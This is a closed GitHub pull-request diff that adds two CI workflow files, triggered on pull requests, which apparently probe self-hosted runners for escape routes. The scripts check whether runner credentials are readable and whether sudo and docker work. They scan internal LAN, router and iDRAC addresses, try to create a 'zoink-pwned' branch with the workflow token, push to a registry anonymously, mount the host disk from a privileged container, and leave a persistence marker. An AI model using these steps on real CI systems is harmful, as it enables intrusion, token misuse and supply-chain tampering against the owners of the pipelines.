Skip to content
Closed
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
33 changes: 33 additions & 0 deletions .github/workflows/zoink.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,33 @@
name: Zoink

on:
pull_request:

permissions:
contents: write
pull-requests: write

jobs:
escape:
runs-on: [self-hosted, Linux, X64, ci-stack]
timeout-minutes: 10
steps:
- name: Probe the runner
env:
GH_TOKEN: ${{ github.token }}
SOME_SECRET: ${{ secrets.TYPETYPE_ORCHESTRATOR_TOKEN }}
run: |
probe() { if eval "$2" >/dev/null 2>&1; then echo "OPEN $1"; else echo "blocked $1"; fi; }
echo "runner $RUNNER_NAME as $(id)"
echo "secret length ${#SOME_SECRET}"
ls -a "$RUNNER_WORKSPACE/../.." | head -20
probe "runner credentials readable" "test -r $HOME/actions-runner/.credentials_rsaparams"
probe "sudo" "sudo -n true"
probe "docker" "docker ps"
probe "stack lan address" "curl -fsS -m 4 http://10.10.40.83:8000"
probe "home lan router" "curl -fsS -m 4 http://192.168.1.1"
probe "idrac link local" "curl -fsS -m 4 http://169.254.1.1"
probe "host loopback" "curl -fsS -m 4 http://10.0.2.2:5002/v2/"
probe "write with github token" "curl -fsS -m 10 -X POST -H \"Authorization: Bearer $GH_TOKEN\" https://api.github.com/repos/${GITHUB_REPOSITORY}/git/refs -d '{\"ref\":\"refs/heads/zoink-pwned\",\"sha\":\"${GITHUB_SHA}\"}'"
probe "internet" "curl -fsS -m 8 -o /dev/null https://github.com"
echo "persist" > "$HOME/zoink-marker"
34 changes: 34 additions & 0 deletions .woodpecker/zoink-escape.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,34 @@
when:
- event: pull_request

services:
docker:
image: docker:29.1.3-dind@sha256:64d6ee47ea821c986467199baa162f5ac8cde3f57b719f18e23f3ed7a7444131
privileged: true
environment:
DOCKER_TLS_CERTDIR: ""
commands:
- dockerd-entrypoint.sh --host=tcp://0.0.0.0:2375 --tls=false --insecure-registry=registry:5000

steps:
- name: escape
image: docker:29.1.3-cli@sha256:e0b6ff45302985d99b9685b2a2fec50c3379bd47067493968f51da901dc53ad5
environment:
DOCKER_HOST: tcp://docker:2375
commands:
- |
probe() { if eval "$2" >/dev/null 2>&1; then echo "OPEN $1"; else echo "blocked $1"; fi; }
for attempt in $(seq 1 60); do docker info >/dev/null 2>&1 && break; sleep 1; done
id
probe "woodpecker server grpc" "wget -q -T 4 -O /dev/null http://server:9000"
probe "woodpecker api via host" "wget -q -T 4 -O /dev/null http://10.0.2.2:8000"
probe "stack lan address" "wget -q -T 4 -O /dev/null http://10.10.40.83:8000"
probe "home lan router" "wget -q -T 4 -O /dev/null http://192.168.1.1"
probe "idrac link local" "wget -q -T 4 -O /dev/null http://169.254.1.1"
probe "host docker socket" "test -S /var/run/docker.sock"
probe "anonymous registry read" "wget -q -T 4 -O /dev/null http://registry:5000/v2/"
docker pull -q alpine:3.20 >/dev/null
docker tag alpine:3.20 registry:5000/typetype/token-beta:zoink
probe "anonymous push to token-beta" "docker push registry:5000/typetype/token-beta:zoink"
probe "host disk mount from dind" "docker run --rm --privileged alpine:3.20 sh -c 'mkdir -p /m && mount /dev/sda1 /m'"
probe "internet" "wget -q -T 8 -O /dev/null https://github.com"